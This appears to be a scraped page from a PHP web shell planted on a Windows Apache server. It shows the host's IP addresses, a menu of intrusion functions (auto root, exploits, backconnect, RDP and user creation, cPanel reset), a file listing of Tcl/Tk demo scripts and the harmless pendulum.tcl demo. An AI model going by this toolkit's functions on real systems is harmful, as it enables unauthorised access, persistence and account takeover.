Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.102
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
C: /
Python27 /
tcl /
tk8.5 /
demos /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxrwxrwx
README
2.03
KB
-rw-rw-rw-
anilabel.tcl
6.51
KB
-rw-rw-rw-
aniwave.tcl
3.41
KB
-rw-rw-rw-
arrow.tcl
7.8
KB
-rw-rw-rw-
bind.tcl
2.87
KB
-rw-rw-rw-
bitmap.tcl
1.38
KB
-rw-rw-rw-
browse
1.71
KB
-rw-rw-rw-
button.tcl
1.47
KB
-rw-rw-rw-
check.tcl
2.22
KB
-rw-rw-rw-
clrpick.tcl
1.4
KB
-rw-rw-rw-
colors.tcl
4.88
KB
-rw-rw-rw-
combo.tcl
1.94
KB
-rw-rw-rw-
cscroll.tcl
3.31
KB
-rw-rw-rw-
ctext.tcl
4.76
KB
-rw-rw-rw-
dialog1.tcl
660
B
-rw-rw-rw-
dialog2.tcl
613
B
-rw-rw-rw-
en.msg
3.8
KB
-rw-rw-rw-
entry1.tcl
1.35
KB
-rw-rw-rw-
entry2.tcl
2.06
KB
-rw-rw-rw-
entry3.tcl
5.95
KB
-rw-rw-rw-
filebox.tcl
2.2
KB
-rw-rw-rw-
floor.tcl
77.24
KB
-rw-rw-rw-
form.tcl
1.02
KB
-rw-rw-rw-
goldberg.tcl
55.23
KB
-rw-rw-rw-
hello
509
B
-rw-rw-rw-
hscale.tcl
1.46
KB
-rw-rw-rw-
icon.tcl
2.01
KB
-rw-rw-rw-
image1.tcl
1002
B
-rw-rw-rw-
image2.tcl
3.28
KB
-rw-rw-rw-
items.tcl
9.5
KB
-rw-rw-rw-
ixset
7.91
KB
-rw-rw-rw-
knightstour.tcl
8.38
KB
-rw-rw-rw-
label.tcl
1.29
KB
-rw-rw-rw-
labelframe.tcl
1.8
KB
-rw-rw-rw-
license.terms
2.16
KB
-rw-rw-rw-
mclist.tcl
3.89
KB
-rw-rw-rw-
menu.tcl
6.57
KB
-rw-rw-rw-
menubu.tcl
4.37
KB
-rw-rw-rw-
msgbox.tcl
1.98
KB
-rw-rw-rw-
nl.msg
6.61
KB
-rw-rw-rw-
paned1.tcl
1.08
KB
-rw-rw-rw-
paned2.tcl
2.18
KB
-rw-rw-rw-
pendulum.tcl
7.46
KB
-rw-rw-rw-
plot.tcl
2.69
KB
-rw-rw-rw-
puzzle.tcl
2.54
KB
-rw-rw-rw-
radio.tcl
2.69
KB
-rw-rw-rw-
rmt
5.21
KB
-rw-rw-rw-
rolodex
8.1
KB
-rw-rw-rw-
ruler.tcl
5.09
KB
-rw-rw-rw-
sayings.tcl
2.21
KB
-rw-rw-rw-
search.tcl
4.29
KB
-rw-rw-rw-
spin.tcl
1.78
KB
-rw-rw-rw-
square
1.28
KB
-rw-rw-rw-
states.tcl
1.63
KB
-rw-rw-rw-
style.tcl
6.78
KB
-rw-rw-rw-
tclIndex
4.25
KB
-rw-rw-rw-
tcolor
10.98
KB
-rw-rw-rw-
text.tcl
3.34
KB
-rw-rw-rw-
textpeer.tcl
2.13
KB
-rw-rw-rw-
timer
1.09
KB
-rw-rw-rw-
toolbar.tcl
3.19
KB
-rw-rw-rw-
tree.tcl
3.29
KB
-rw-rw-rw-
ttkbut.tcl
3.34
KB
-rw-rw-rw-
ttkmenu.tcl
2.35
KB
-rw-rw-rw-
ttknote.tcl
2.41
KB
-rw-rw-rw-
ttkpane.tcl
3.95
KB
-rw-rw-rw-
ttkprogress.tcl
1.52
KB
-rw-rw-rw-
ttkscale.tcl
1.39
KB
-rw-rw-rw-
twind.tcl
10.57
KB
-rw-rw-rw-
unicodeout.tcl
3.45
KB
-rw-rw-rw-
vscale.tcl
1.44
KB
-rw-rw-rw-
widget
22.83
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pendulum.tcl
# pendulum.tcl -- # # This demonstration illustrates how Tcl/Tk can be used to construct # simulations of physical systems. if {![info exists widgetDemo]} { error "This script should be run from the \"widget\" demo." } package require Tk set w .pendulum catch {destroy $w} toplevel $w wm title $w "Pendulum Animation Demonstration" wm iconname $w "pendulum" positionWindow $w label $w.msg -font $font -wraplength 4i -justify left -text "This demonstration shows how Tcl/Tk can be used to carry out animations that are linked to simulations of physical systems. In the left canvas is a graphical representation of the physical system itself, a simple pendulum, and in the right canvas is a graph of the phase space of the system, which is a plot of the angle (relative to the vertical) against the angular velocity. The pendulum bob may be repositioned by clicking and dragging anywhere on the left canvas." pack $w.msg ## See Code / Dismiss buttons set btns [addSeeDismiss $w.buttons $w] pack $btns -side bottom -fill x # Create some structural widgets pack [panedwindow $w.p] -fill both -expand 1 $w.p add [labelframe $w.p.l1 -text "Pendulum Simulation"] $w.p add [labelframe $w.p.l2 -text "Phase Space"] # Create the canvas containing the graphical representation of the # simulated system. canvas $w.c -width 320 -height 200 -background white -bd 2 -relief sunken $w.c create text 5 5 -anchor nw -text "Click to Adjust Bob Start Position" # Coordinates of these items don't matter; they will be set properly below $w.c create line 0 25 320 25 -tags plate -fill grey50 -width 2 $w.c create oval 155 20 165 30 -tags pivot -fill grey50 -outline {} $w.c create line 1 1 1 1 -tags rod -fill black -width 3 $w.c create oval 1 1 2 2 -tags bob -fill yellow -outline black pack $w.c -in $w.p.l1 -fill both -expand true # Create the canvas containing the phase space graph; this consists of # a line that gets gradually paler as it ages, which is an extremely # effective visual trick. canvas $w.k -width 320 -height 200 -background white -bd 2 -relief sunken $w.k create line 160 200 160 0 -fill grey75 -arrow last -tags y_axis $w.k create line 0 100 320 100 -fill grey75 -arrow last -tags x_axis for {set i 90} {$i>=0} {incr i -10} { # Coordinates of these items don't matter; they will be set properly below $w.k create line 0 0 1 1 -smooth true -tags graph$i -fill grey$i } # FIXME: UNICODE labels $w.k create text 0 0 -anchor ne -text "q" -font {Symbol 8} -tags label_theta $w.k create text 0 0 -anchor ne -text "dq" -font {Symbol 8} -tags label_dtheta pack $w.k -in $w.p.l2 -fill both -expand true # Initialize some variables set points {} set Theta 45.0 set dTheta 0.0 set pi 3.1415926535897933 set length 150 set home 160 # This procedure makes the pendulum appear at the correct place on the # canvas. If the additional arguments "at $x $y" are passed (the 'at' # is really just syntactic sugar) instead of computing the position of # the pendulum from the length of the pendulum rod and its angle, the # length and angle are computed in reverse from the given location # (which is taken to be the centre of the pendulum bob.) proc showPendulum {canvas {at {}} {x {}} {y {}}} { global Theta dTheta pi length home if {$at eq "at" && ($x!=$home || $y!=25)} { set dTheta 0.0 set x2 [expr {$x - $home}] set y2 [expr {$y - 25}] set length [expr {hypot($x2, $y2)}] set Theta [expr {atan2($x2, $y2) * 180/$pi}] } else { set angle [expr {$Theta * $pi/180}] set x [expr {$home + $length*sin($angle)}] set y [expr {25 + $length*cos($angle)}] } $canvas coords rod $home 25 $x $y $canvas coords bob \ [expr {$x-15}] [expr {$y-15}] [expr {$x+15}] [expr {$y+15}] } showPendulum $w.c # Update the phase-space graph according to the current angle and the # rate at which the angle is changing (the first derivative with # respect to time.) proc showPhase {canvas} { global Theta dTheta points psw psh lappend points [expr {$Theta+$psw}] [expr {-20*$dTheta+$psh}] if {[llength $points] > 100} { set points [lrange $points end-99 end] } for {set i 0} {$i<100} {incr i 10} { set list [lrange $points end-[expr {$i-1}] end-[expr {$i-12}]] if {[llength $list] >= 4} { $canvas coords graph$i $list } } } # Set up some bindings on the canvases. Note that when the user # clicks we stop the animation until they release the mouse # button. Also note that both canvases are sensitive to <Configure> # events, which allows them to find out when they have been resized by # the user. bind $w.c <Destroy> { after cancel $animationCallbacks(pendulum) unset animationCallbacks(pendulum) } bind $w.c <1> { after cancel $animationCallbacks(pendulum) showPendulum %W at %x %y } bind $w.c <B1-Motion> { showPendulum %W at %x %y } bind $w.c <ButtonRelease-1> { showPendulum %W at %x %y set animationCallbacks(pendulum) [after 15 repeat [winfo toplevel %W]] } bind $w.c <Configure> { %W coords plate 0 25 %w 25 set home [expr %w/2] %W coords pivot [expr $home-5] 20 [expr $home+5] 30 } bind $w.k <Configure> { set psh [expr %h/2] set psw [expr %w/2] %W coords x_axis 2 $psh [expr %w-2] $psh %W coords y_axis $psw [expr %h-2] $psw 2 %W coords label_dtheta [expr $psw-4] 6 %W coords label_theta [expr %w-6] [expr $psh+4] } # This procedure is the "business" part of the simulation that does # simple numerical integration of the formula for a simple rotational # pendulum. proc recomputeAngle {} { global Theta dTheta pi length set scaling [expr {3000.0/$length/$length}] # To estimate the integration accurately, we really need to # compute the end-point of our time-step. But to do *that*, we # need to estimate the integration accurately! So we try this # technique, which is inaccurate, but better than doing it in a # single step. What we really want is bound up in the # differential equation: # .. - sin theta # theta + theta = ----------- # length # But my math skills are not good enough to solve this! # first estimate set firstDDTheta [expr {-sin($Theta * $pi/180)*$scaling}] set midDTheta [expr {$dTheta + $firstDDTheta}] set midTheta [expr {$Theta + ($dTheta + $midDTheta)/2}] # second estimate set midDDTheta [expr {-sin($midTheta * $pi/180)*$scaling}] set midDTheta [expr {$dTheta + ($firstDDTheta + $midDDTheta)/2}] set midTheta [expr {$Theta + ($dTheta + $midDTheta)/2}] # Now we do a double-estimate approach for getting the final value # first estimate set midDDTheta [expr {-sin($midTheta * $pi/180)*$scaling}] set lastDTheta [expr {$midDTheta + $midDDTheta}] set lastTheta [expr {$midTheta + ($midDTheta + $lastDTheta)/2}] # second estimate set lastDDTheta [expr {-sin($lastTheta * $pi/180)*$scaling}] set lastDTheta [expr {$midDTheta + ($midDDTheta + $lastDDTheta)/2}] set lastTheta [expr {$midTheta + ($midDTheta + $lastDTheta)/2}] # Now put the values back in our globals set dTheta $lastDTheta set Theta $lastTheta } # This method ties together the simulation engine and the graphical # display code that visualizes it. proc repeat w { global animationCallbacks # Simulate recomputeAngle # Update the display showPendulum $w.c showPhase $w.k # Reschedule ourselves set animationCallbacks(pendulum) [after 15 [list repeat $w]] } # Start the simulation after a short pause set animationCallbacks(pendulum) [after 500 [list repeat $w]]
Close